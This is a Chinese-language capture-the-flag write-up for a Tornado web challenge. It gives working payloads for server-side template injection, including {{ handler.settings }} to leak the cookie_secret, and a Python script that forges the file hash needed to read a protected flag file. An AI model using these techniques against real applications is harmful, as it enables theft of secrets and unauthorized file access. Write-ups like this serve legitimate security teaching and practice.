打开可以看见给了三个文件
分别点进去看看有什么
1)/flag.txt
url:
file?filename=/flag.txt&filehash=0310b209310feeee81b590e6b1a06581
flag在fllllllllllllag文件里面
2)/welcome.txt
url:
file?filename=/welcome.txt&filehash=4ec415e5ca7fc316da8d2d358d7f621b
3)/hints.txt
url:
file?filename=/hints.txt&filehash=fbf03ce458319aa90b7521c6143c8fcd
从给出的界面来看:
flag在md5(cookie_secret+md5(filename))文件中
url中的filehash是md5(cookie_secret+md5(filename))
可以构造payload:
file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
因此我们需要先拿到cookie_secret
又因为flag在fllllllllllllag文件里
?filename=fllllllllllllag
所以我们直接测试一下,过程中发现还有一个Error界面
由welcome.txt页面联想到render函数,可能会是SSTI模板注入
render函数介绍:
https://blog.csdn.net/qq78827534/article/details/80792514
尝试模版注入
msg=1
msg={{0^1}}
页面进行了运算,再试试
msg={{3*3}}
页面出现ORZ(但并不是cookie)尝试除和减操作符也是返回ORZ,说明是操作符被过滤了
阅读Tornado官方文档,发现Tornado框架的附属文件handler.settings中存在cookie_secret
https://www.tornadoweb.org/en/latest/guide/templates.html#template-syntax
扫描二维码关注公众号,回复: 11612358 查看本文章
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings
构造:
error?msg={{ handler.settings }}
拿到cookie_secret
编写python脚本:
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s.encode('utf-8'))
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = 'd9a832bd-a334-4515-a8c2-f857e0896599'
print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
filehash()
运行后:1f613190d2e0efd54eccfbd1779a35e1
file?filename=/fllllllllllllag&filehash=1f613190d2e0efd54eccfbd1779a35e1
拿到flag